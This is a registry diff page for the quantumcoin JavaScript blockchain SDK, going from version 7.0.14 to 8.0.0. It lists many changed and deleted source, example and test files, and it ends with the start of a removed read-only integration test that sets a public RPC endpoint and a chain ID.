quantumcoin 7.0.14 → 8.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README-SDK.md +46 -0
- package/README.md +1 -1
- package/generate-sdk.js +8 -6
- package/package.json +22 -4
- package/src/abi/interface.d.ts +133 -128
- package/src/abi/js-abi-coder.d.ts +8 -8
- package/src/constants.d.ts +61 -61
- package/src/contract/contract-factory.d.ts +28 -28
- package/src/contract/contract.d.ts +121 -113
- package/src/contract/index.d.ts +1 -0
- package/src/errors/index.d.ts +10 -2
- package/src/errors/index.js +1 -1
- package/src/generator/index.d.ts +109 -81
- package/src/index.d.ts +126 -122
- package/src/internal/event-emitter.d.ts +76 -0
- package/src/internal/event-emitter.js +144 -0
- package/src/internal/hex.d.ts +27 -4
- package/src/internal/hex.js +7 -3
- package/src/providers/extra-providers.d.ts +141 -139
- package/src/providers/extra-providers.js +15 -1
- package/src/providers/index.d.ts +18 -17
- package/src/providers/json-rpc-provider.d.ts +1 -0
- package/src/providers/provider.d.ts +233 -206
- package/src/providers/provider.js +41 -1
- package/src/utils/encoding.js +16 -4
- package/src/utils/fixednumber.d.ts +57 -57
- package/src/utils/hashing.d.ts +79 -76
- package/src/utils/hashing.js +68 -177
- package/src/utils/index.d.ts +1 -1
- package/src/utils/rlp.js +1 -1
- package/src/wallet/wallet.d.ts +54 -19
- package/src/wallet/wallet.js +48 -10
- package/.github/workflows/publish-npmjs.yaml +0 -22
- package/.gitignore +0 -15
- package/examples/AllSolidityTypes.sol +0 -184
- package/examples/SimpleIERC20.sol +0 -74
- package/examples/events.js +0 -41
- package/examples/events.ts +0 -35
- package/examples/example-generated-sdk-js/README.md +0 -65
- package/examples/example-generated-sdk-js/examples/_test-wallet.js +0 -17
- package/examples/example-generated-sdk-js/examples/deploy.js +0 -41
- package/examples/example-generated-sdk-js/examples/events.js +0 -36
- package/examples/example-generated-sdk-js/examples/read-operations.js +0 -46
- package/examples/example-generated-sdk-js/examples/write-operations.js +0 -44
- package/examples/example-generated-sdk-js/index.d.ts +0 -1
- package/examples/example-generated-sdk-js/index.js +0 -15
- package/examples/example-generated-sdk-js/package-lock.json +0 -59
- package/examples/example-generated-sdk-js/package.json +0 -22
- package/examples/example-generated-sdk-js/src/SimpleERC20.d.ts +0 -19
- package/examples/example-generated-sdk-js/src/SimpleERC20.js +0 -353
- package/examples/example-generated-sdk-js/src/SimpleERC20__factory.d.ts +0 -10
- package/examples/example-generated-sdk-js/src/SimpleERC20__factory.js +0 -29
- package/examples/example-generated-sdk-js/src/index.d.ts +0 -4
- package/examples/example-generated-sdk-js/src/index.js +0 -5
- package/examples/example-generated-sdk-js/src/quantumcoin-shims.d.ts +0 -23
- package/examples/example-generated-sdk-js/src/types.d.ts +0 -3
- package/examples/example-generated-sdk-js/src/types.js +0 -3
- package/examples/example-generated-sdk-js/test/e2e/SimpleERC20.e2e.test.js +0 -78
- package/examples/example-generated-sdk-ts/README.md +0 -65
- package/examples/example-generated-sdk-ts/examples/_test-wallet.js +0 -17
- package/examples/example-generated-sdk-ts/examples/deploy.js +0 -41
- package/examples/example-generated-sdk-ts/examples/events.js +0 -36
- package/examples/example-generated-sdk-ts/examples/read-operations.js +0 -46
- package/examples/example-generated-sdk-ts/examples/write-operations.js +0 -44
- package/examples/example-generated-sdk-ts/index.d.ts +0 -1
- package/examples/example-generated-sdk-ts/index.js +0 -15
- package/examples/example-generated-sdk-ts/package-lock.json +0 -59
- package/examples/example-generated-sdk-ts/package.json +0 -23
- package/examples/example-generated-sdk-ts/src/SimpleERC20.ts +0 -334
- package/examples/example-generated-sdk-ts/src/SimpleERC20__factory.ts +0 -28
- package/examples/example-generated-sdk-ts/src/index.ts +0 -4
- package/examples/example-generated-sdk-ts/src/quantumcoin-shims.d.ts +0 -23
- package/examples/example-generated-sdk-ts/src/types.ts +0 -4
- package/examples/example-generated-sdk-ts/test/e2e/SimpleERC20.e2e.test.js +0 -78
- package/examples/example-generated-sdk-ts/tsconfig.json +0 -14
- package/examples/example-generator-sdk-js.js +0 -100
- package/examples/example-generator-sdk-js.ts +0 -77
- package/examples/example-generator-sdk-ts.js +0 -100
- package/examples/example-generator-sdk-ts.ts +0 -77
- package/examples/example.js +0 -67
- package/examples/example.ts +0 -56
- package/examples/node_modules/.bin/esbuild +0 -16
- package/examples/node_modules/.bin/esbuild.cmd +0 -17
- package/examples/node_modules/.bin/esbuild.ps1 +0 -28
- package/examples/node_modules/.bin/sdkgen +0 -16
- package/examples/node_modules/.bin/sdkgen.cmd +0 -17
- package/examples/node_modules/.bin/sdkgen.ps1 +0 -28
- package/examples/node_modules/.bin/tsx +0 -16
- package/examples/node_modules/.bin/tsx.cmd +0 -17
- package/examples/node_modules/.bin/tsx.ps1 +0 -28
- package/examples/node_modules/.package-lock.json +0 -144
- package/examples/node_modules/@esbuild/win32-x64/README.md +0 -3
- package/examples/node_modules/@esbuild/win32-x64/esbuild.exe +0 -0
- package/examples/node_modules/@esbuild/win32-x64/package.json +0 -20
- package/examples/node_modules/esbuild/LICENSE.md +0 -21
- package/examples/node_modules/esbuild/README.md +0 -3
- package/examples/node_modules/esbuild/bin/esbuild +0 -223
- package/examples/node_modules/esbuild/install.js +0 -289
- package/examples/node_modules/esbuild/lib/main.d.ts +0 -716
- package/examples/node_modules/esbuild/lib/main.js +0 -2532
- package/examples/node_modules/esbuild/package.json +0 -49
- package/examples/node_modules/get-tsconfig/LICENSE +0 -21
- package/examples/node_modules/get-tsconfig/README.md +0 -235
- package/examples/node_modules/get-tsconfig/dist/index.cjs +0 -7
- package/examples/node_modules/get-tsconfig/dist/index.d.cts +0 -2088
- package/examples/node_modules/get-tsconfig/dist/index.d.mts +0 -2088
- package/examples/node_modules/get-tsconfig/dist/index.mjs +0 -7
- package/examples/node_modules/get-tsconfig/package.json +0 -46
- package/examples/node_modules/quantum-coin-js-sdk/LICENSE +0 -21
- package/examples/node_modules/quantum-coin-js-sdk/LICENSE-wasm_exec.js.txt +0 -30
- package/examples/node_modules/quantum-coin-js-sdk/README.md +0 -1675
- package/examples/node_modules/quantum-coin-js-sdk/example/README.md +0 -14
- package/examples/node_modules/quantum-coin-js-sdk/example/conversion-example.js +0 -19
- package/examples/node_modules/quantum-coin-js-sdk/example/example-create-contract.js +0 -396
- package/examples/node_modules/quantum-coin-js-sdk/example/example-encode-decode-rlp.js +0 -225
- package/examples/node_modules/quantum-coin-js-sdk/example/example-event-pack-unpack.js +0 -391
- package/examples/node_modules/quantum-coin-js-sdk/example/example-misc.js +0 -101
- package/examples/node_modules/quantum-coin-js-sdk/example/example-rpc-send-signRawTransaction.js +0 -318
- package/examples/node_modules/quantum-coin-js-sdk/example/example-rpc-send.js +0 -116
- package/examples/node_modules/quantum-coin-js-sdk/example/example-send.js +0 -70
- package/examples/node_modules/quantum-coin-js-sdk/example/example-token-pack-unpack.js +0 -961
- package/examples/node_modules/quantum-coin-js-sdk/example/example-wallet-version4.js +0 -35
- package/examples/node_modules/quantum-coin-js-sdk/example/example-wallet.js +0 -43
- package/examples/node_modules/quantum-coin-js-sdk/example/example.js +0 -405
- package/examples/node_modules/quantum-coin-js-sdk/example/package-lock.json +0 -134
- package/examples/node_modules/quantum-coin-js-sdk/example/package.json +0 -15
- package/examples/node_modules/quantum-coin-js-sdk/index.d.ts +0 -1031
- package/examples/node_modules/quantum-coin-js-sdk/index.js +0 -3144
- package/examples/node_modules/quantum-coin-js-sdk/package.json +0 -34
- package/examples/node_modules/quantum-coin-js-sdk/tests/encrypted-32.json +0 -1
- package/examples/node_modules/quantum-coin-js-sdk/tests/encrypted-36.json +0 -1
- package/examples/node_modules/quantum-coin-js-sdk/tests/encrypted-48.json +0 -1
- package/examples/node_modules/quantum-coin-js-sdk/tests/generate-verify-vectors.js +0 -91
- package/examples/node_modules/quantum-coin-js-sdk/tests/non-transactional.preinit.test.js +0 -41
- package/examples/node_modules/quantum-coin-js-sdk/tests/non-transactional.test.js +0 -1389
- package/examples/node_modules/quantum-coin-js-sdk/tests/sign-raw-keytype5-context-null.test.js +0 -107
- package/examples/node_modules/quantum-coin-js-sdk/tests/sign-raw-transaction.test.js +0 -196
- package/examples/node_modules/quantum-coin-js-sdk/tests/sign-verify.test.js +0 -311
- package/examples/node_modules/quantum-coin-js-sdk/tests/transactional.relay.test.js +0 -131
- package/examples/node_modules/quantum-coin-js-sdk/tests/transactional.rpc.test.js +0 -103
- package/examples/node_modules/quantum-coin-js-sdk/tests/verify-vectors.json +0 -95035
- package/examples/node_modules/quantum-coin-js-sdk/wasmBase64.d.ts +0 -9
- package/examples/node_modules/quantum-coin-js-sdk/wasmBase64.js +0 -16
- package/examples/node_modules/quantum-coin-js-sdk/wasm_exec.d.ts +0 -0
- package/examples/node_modules/quantum-coin-js-sdk/wasm_exec.js +0 -587
- package/examples/node_modules/resolve-pkg-maps/LICENSE +0 -21
- package/examples/node_modules/resolve-pkg-maps/README.md +0 -216
- package/examples/node_modules/resolve-pkg-maps/dist/index.cjs +0 -1
- package/examples/node_modules/resolve-pkg-maps/dist/index.d.cts +0 -11
- package/examples/node_modules/resolve-pkg-maps/dist/index.d.mts +0 -11
- package/examples/node_modules/resolve-pkg-maps/dist/index.mjs +0 -1
- package/examples/node_modules/resolve-pkg-maps/package.json +0 -42
- package/examples/node_modules/seed-words/.github/workflows/publish-npmjs.yaml +0 -22
- package/examples/node_modules/seed-words/BUILD.md +0 -7
- package/examples/node_modules/seed-words/LICENSE +0 -121
- package/examples/node_modules/seed-words/README.md +0 -67
- package/examples/node_modules/seed-words/dist/seedwords.d.ts +0 -39
- package/examples/node_modules/seed-words/package.json +0 -27
- package/examples/node_modules/seed-words/seedwords.js +0 -315
- package/examples/node_modules/seed-words/seedwords.txt +0 -65536
- package/examples/node_modules/seed-words/tsconfig.json +0 -21
- package/examples/node_modules/tsx/LICENSE +0 -21
- package/examples/node_modules/tsx/README.md +0 -32
- package/examples/node_modules/tsx/dist/cjs/api/index.cjs +0 -1
- package/examples/node_modules/tsx/dist/cjs/api/index.d.cts +0 -35
- package/examples/node_modules/tsx/dist/cjs/api/index.d.mts +0 -35
- package/examples/node_modules/tsx/dist/cjs/api/index.mjs +0 -1
- package/examples/node_modules/tsx/dist/cjs/index.cjs +0 -1
- package/examples/node_modules/tsx/dist/cjs/index.mjs +0 -1
- package/examples/node_modules/tsx/dist/cli.cjs +0 -54
- package/examples/node_modules/tsx/dist/cli.mjs +0 -55
- package/examples/node_modules/tsx/dist/client-BQVF1NaW.mjs +0 -1
- package/examples/node_modules/tsx/dist/client-D6NvIMSC.cjs +0 -1
- package/examples/node_modules/tsx/dist/esm/api/index.cjs +0 -1
- package/examples/node_modules/tsx/dist/esm/api/index.d.cts +0 -35
- package/examples/node_modules/tsx/dist/esm/api/index.d.mts +0 -35
- package/examples/node_modules/tsx/dist/esm/api/index.mjs +0 -1
- package/examples/node_modules/tsx/dist/esm/index.cjs +0 -2
- package/examples/node_modules/tsx/dist/esm/index.mjs +0 -2
- package/examples/node_modules/tsx/dist/get-pipe-path-BHW2eJdv.mjs +0 -1
- package/examples/node_modules/tsx/dist/get-pipe-path-BoR10qr8.cjs +0 -1
- package/examples/node_modules/tsx/dist/index-7AaEi15b.mjs +0 -14
- package/examples/node_modules/tsx/dist/index-BWFBUo6r.cjs +0 -1
- package/examples/node_modules/tsx/dist/index-gbaejti9.mjs +0 -1
- package/examples/node_modules/tsx/dist/index-gckBtVBf.cjs +0 -14
- package/examples/node_modules/tsx/dist/lexer-DQCqS3nf.mjs +0 -3
- package/examples/node_modules/tsx/dist/lexer-DgIbo0BU.cjs +0 -3
- package/examples/node_modules/tsx/dist/loader.cjs +0 -1
- package/examples/node_modules/tsx/dist/loader.mjs +0 -1
- package/examples/node_modules/tsx/dist/node-features-_8ZFwP_x.mjs +0 -1
- package/examples/node_modules/tsx/dist/node-features-roYmp9jK.cjs +0 -1
- package/examples/node_modules/tsx/dist/package-CeBgXWuR.mjs +0 -1
- package/examples/node_modules/tsx/dist/package-Dxt5kIHw.cjs +0 -1
- package/examples/node_modules/tsx/dist/patch-repl.cjs +0 -1
- package/examples/node_modules/tsx/dist/patch-repl.mjs +0 -1
- package/examples/node_modules/tsx/dist/preflight.cjs +0 -1
- package/examples/node_modules/tsx/dist/preflight.mjs +0 -1
- package/examples/node_modules/tsx/dist/register-2sWVXuRQ.cjs +0 -1
- package/examples/node_modules/tsx/dist/register-B7jrtLTO.mjs +0 -1
- package/examples/node_modules/tsx/dist/register-CFH5oNdT.mjs +0 -4
- package/examples/node_modules/tsx/dist/register-D46fvsV_.cjs +0 -4
- package/examples/node_modules/tsx/dist/repl.cjs +0 -3
- package/examples/node_modules/tsx/dist/repl.mjs +0 -3
- package/examples/node_modules/tsx/dist/require-D4F1Lv60.cjs +0 -1
- package/examples/node_modules/tsx/dist/require-DQxpCAr4.mjs +0 -1
- package/examples/node_modules/tsx/dist/suppress-warnings.cjs +0 -1
- package/examples/node_modules/tsx/dist/suppress-warnings.mjs +0 -1
- package/examples/node_modules/tsx/dist/temporary-directory-B83uKxJF.cjs +0 -1
- package/examples/node_modules/tsx/dist/temporary-directory-CwHp0_NW.mjs +0 -1
- package/examples/node_modules/tsx/dist/types-Cxp8y2TL.d.ts +0 -5
- package/examples/node_modules/tsx/package.json +0 -68
- package/examples/offline-signing.js +0 -77
- package/examples/offline-signing.ts +0 -65
- package/examples/package-lock.json +0 -596
- package/examples/package.json +0 -32
- package/examples/read-operations.js +0 -32
- package/examples/read-operations.ts +0 -31
- package/examples/sdk-generator-erc20.inline.json +0 -251
- package/examples/solidity-types.ts +0 -43
- package/examples/wallet-offline.js +0 -36
- package/examples/wallet-offline.ts +0 -26
- package/scripts/copy-declarations.js +0 -31
- package/scripts/run-all-one-by-one.js +0 -151
- package/test/e2e/all-solidity-types.dynamic.test.js +0 -207
- package/test/e2e/all-solidity-types.dynamic.test.ts +0 -191
- package/test/e2e/all-solidity-types.fixtures.js +0 -231
- package/test/e2e/all-solidity-types.generated-sdks.e2e.test.js +0 -387
- package/test/e2e/all-solidity-types.generated-sdks.e2e.test.ts +0 -350
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/README.md +0 -83
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/artifacts/AllSolidityTypes.abi.json +0 -12544
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/artifacts/AllSolidityTypes.bin +0 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/_test-wallet.js +0 -17
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/_test-wallet.ts +0 -10
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/deploy.js +0 -41
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/deploy.ts +0 -41
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/events.js +0 -36
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/events.ts +0 -36
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/offline-signing.js +0 -82
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/offline-signing.ts +0 -80
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/read-operations.js +0 -46
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/read-operations.ts +0 -44
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/write-operations.js +0 -44
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/write-operations.ts +0 -44
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/index.d.ts +0 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/index.js +0 -21
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/package-lock.json +0 -597
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/package.json +0 -25
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes.d.ts +0 -1280
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes.js +0 -14021
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes__factory.d.ts +0 -11
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes__factory.js +0 -31
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/index.d.ts +0 -4
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/index.js +0 -5
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/quantumcoin-shims.d.ts +0 -25
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/types.d.ts +0 -3
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/types.js +0 -3
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/test/e2e/AllSolidityTypes.e2e.test.js +0 -77
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/test/e2e/AllSolidityTypes.extra.test.js +0 -195
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/README.md +0 -83
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/artifacts/AllSolidityTypes.abi.json +0 -12544
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/artifacts/AllSolidityTypes.bin +0 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/_test-wallet.js +0 -17
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/_test-wallet.ts +0 -10
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/deploy.js +0 -41
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/deploy.ts +0 -41
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/events.js +0 -36
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/events.ts +0 -36
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/offline-signing.js +0 -82
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/offline-signing.ts +0 -80
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/read-operations.js +0 -46
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/read-operations.ts +0 -44
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/write-operations.js +0 -44
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/write-operations.ts +0 -44
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/index.d.ts +0 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/index.js +0 -21
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/package-lock.json +0 -597
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/package.json +0 -26
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/AllSolidityTypes.ts +0 -13940
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/AllSolidityTypes__factory.ts +0 -31
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/index.ts +0 -4
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/quantumcoin-shims.d.ts +0 -25
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/types.ts +0 -4
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/test/e2e/AllSolidityTypes.e2e.test.js +0 -77
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/test/e2e/AllSolidityTypes.extra.test.js +0 -195
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/tsconfig.json +0 -18
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/README.md +0 -74
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/artifacts/SimpleERC20.abi.json +0 -245
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/artifacts/SimpleERC20.bin +0 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/_test-wallet.js +0 -17
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/_test-wallet.ts +0 -10
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/deploy.js +0 -41
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/deploy.ts +0 -41
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/events.js +0 -36
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/events.ts +0 -36
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/offline-signing.js +0 -82
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/offline-signing.ts +0 -80
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/read-operations.js +0 -46
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/read-operations.ts +0 -44
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/write-operations.js +0 -44
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/write-operations.ts +0 -44
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/index.d.ts +0 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/index.js +0 -16
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/package-lock.json +0 -597
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/package.json +0 -25
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20.d.ts +0 -24
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20.js +0 -378
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20__factory.d.ts +0 -10
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20__factory.js +0 -31
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/index.d.ts +0 -4
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/index.js +0 -5
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/quantumcoin-shims.d.ts +0 -25
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/types.d.ts +0 -3
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/types.js +0 -3
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/test/e2e/SimpleERC20.e2e.test.js +0 -90
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/README.md +0 -74
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/artifacts/SimpleERC20.abi.json +0 -245
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/artifacts/SimpleERC20.bin +0 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/_test-wallet.js +0 -17
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/_test-wallet.ts +0 -10
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/deploy.js +0 -41
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/deploy.ts +0 -41
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/events.js +0 -36
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/events.ts +0 -36
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/offline-signing.js +0 -82
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/offline-signing.ts +0 -80
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/read-operations.js +0 -46
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/read-operations.ts +0 -44
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/write-operations.js +0 -44
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/write-operations.ts +0 -44
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/index.d.ts +0 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/index.js +0 -16
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package-lock.json +0 -597
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package.json +0 -26
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20.ts +0 -361
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20__factory.ts +0 -30
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/index.ts +0 -4
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/quantumcoin-shims.d.ts +0 -25
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/types.ts +0 -4
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/test/e2e/SimpleERC20.e2e.test.js +0 -90
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/tsconfig.json +0 -18
- package/test/e2e/generator-interface.e2e.test.js +0 -165
- package/test/e2e/generator-interface.e2e.test.ts +0 -160
- package/test/e2e/helpers.js +0 -59
- package/test/e2e/signing-context-and-fee.e2e.test.js +0 -141
- package/test/e2e/signing-context-and-fee.e2e.test.ts +0 -128
- package/test/e2e/simple-erc20.generated-sdks.e2e.test.js +0 -168
- package/test/e2e/simple-erc20.generated-sdks.e2e.test.ts +0 -141
- package/test/e2e/transactional.test.js +0 -245
- package/test/e2e/transactional.test.ts +0 -208
- package/test/e2e/typed-generator.e2e.test.js +0 -407
- package/test/e2e/typed-generator.e2e.test.ts +0 -337
- package/test/fixtures/ConstructorParam.sol +0 -23
- package/test/fixtures/MultiContracts.sol +0 -37
- package/test/fixtures/SimpleStorage.sol +0 -18
- package/test/fixtures/StakingContract.abi.json +0 -1
- package/test/integration/ipc-provider.test.js +0 -49
- package/test/integration/ipc-provider.test.ts +0 -44
- package/test/integration/provider.test.js +0 -88
- package/test/integration/provider.test.ts +0 -85
- package/test/integration/ws-provider.test.js +0 -41
- package/test/integration/ws-provider.test.ts +0 -38
- package/test/security/abi-decoder-bounds.test.js +0 -122
- package/test/security/contract-overrides.test.js +0 -112
- package/test/security/generator-injection.test.js +0 -195
- package/test/security/malformed-input.test.js +0 -330
- package/test/security/malformed-input.test.ts +0 -35
- package/test/security/rpc-numeric-bounds.test.js +0 -81
- package/test/security/rpc-trust.test.js +0 -202
- package/test/unit/_encrypted-output.txt +0 -6
- package/test/unit/_log-encrypted-jsons.js +0 -45
- package/test/unit/_write-keystore-fixture.js +0 -16
- package/test/unit/abi-interface.test.js +0 -110
- package/test/unit/abi-interface.test.ts +0 -109
- package/test/unit/address-wallet.test.js +0 -923
- package/test/unit/address-wallet.test.ts +0 -877
- package/test/unit/browser-provider.test.js +0 -85
- package/test/unit/browser-provider.test.ts +0 -79
- package/test/unit/contract.test.js +0 -85
- package/test/unit/contract.test.ts +0 -83
- package/test/unit/encoding-units-rlp.test.js +0 -127
- package/test/unit/encoding-units-rlp.test.ts +0 -91
- package/test/unit/errors.test.js +0 -77
- package/test/unit/errors.test.ts +0 -76
- package/test/unit/filter-by-blockhash.test.js +0 -55
- package/test/unit/filter-by-blockhash.test.ts +0 -54
- package/test/unit/fixednumber.test.js +0 -656
- package/test/unit/fixednumber.test.ts +0 -660
- package/test/unit/fixtures/encrypted-keystores-48-32-36.js +0 -9
- package/test/unit/generate-contract-cli.test.js +0 -42
- package/test/unit/generate-contract-cli.test.ts +0 -41
- package/test/unit/generate-sdk-artifacts-json.test.js +0 -113
- package/test/unit/generate-sdk-artifacts-json.test.ts +0 -110
- package/test/unit/generator.test.js +0 -149
- package/test/unit/generator.test.ts +0 -148
- package/test/unit/hashing.test.js +0 -64
- package/test/unit/hashing.test.ts +0 -63
- package/test/unit/init.test.js +0 -39
- package/test/unit/init.test.ts +0 -38
- package/test/unit/interface.test.js +0 -56
- package/test/unit/interface.test.ts +0 -54
- package/test/unit/internal-hex.test.js +0 -81
- package/test/unit/internal-hex.test.ts +0 -80
- package/test/unit/populate-transaction.test.js +0 -98
- package/test/unit/populate-transaction.test.ts +0 -64
- package/test/unit/providers.test.js +0 -252
- package/test/unit/providers.test.ts +0 -251
- package/test/unit/result.test.js +0 -80
- package/test/unit/result.test.ts +0 -79
- package/test/unit/solidity-types.test.js +0 -49
- package/test/unit/solidity-types.test.ts +0 -39
- package/test/unit/utils.test.js +0 -57
- package/test/unit/utils.test.ts +0 -56
- package/test/verbose-logger.js +0 -74
- package/tsconfig.build.json +0 -14
|
@@ -1,85 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @testCategory integration
|
|
3
|
-
* @blockchainRequired readonly
|
|
4
|
-
* @transactional false
|
|
5
|
-
* @description Read-only integration tests. Endpoint from QC_ENDPOINT or QC_RPC_URL (default: public RPC).
|
|
6
|
-
*/
|
|
7
|
-
|
|
8
|
-
import { describe, it } from "node:test";
|
|
9
|
-
import assert from "node:assert/strict";
|
|
10
|
-
|
|
11
|
-
import { Initialize } from "../../config";
|
|
12
|
-
import qc from "../../index";
|
|
13
|
-
import { logSuite, logTest, logAddress } from "../verbose-logger";
|
|
14
|
-
|
|
15
|
-
const DEFAULT_RPC = "https://public.rpc.quantumcoinapi.com";
|
|
16
|
-
const CHAIN_ID = 123123;
|
|
17
|
-
const STAKING_CONTRACT = "0x" + "00".repeat(30) + "10" + "00";
|
|
18
|
-
|
|
19
|
-
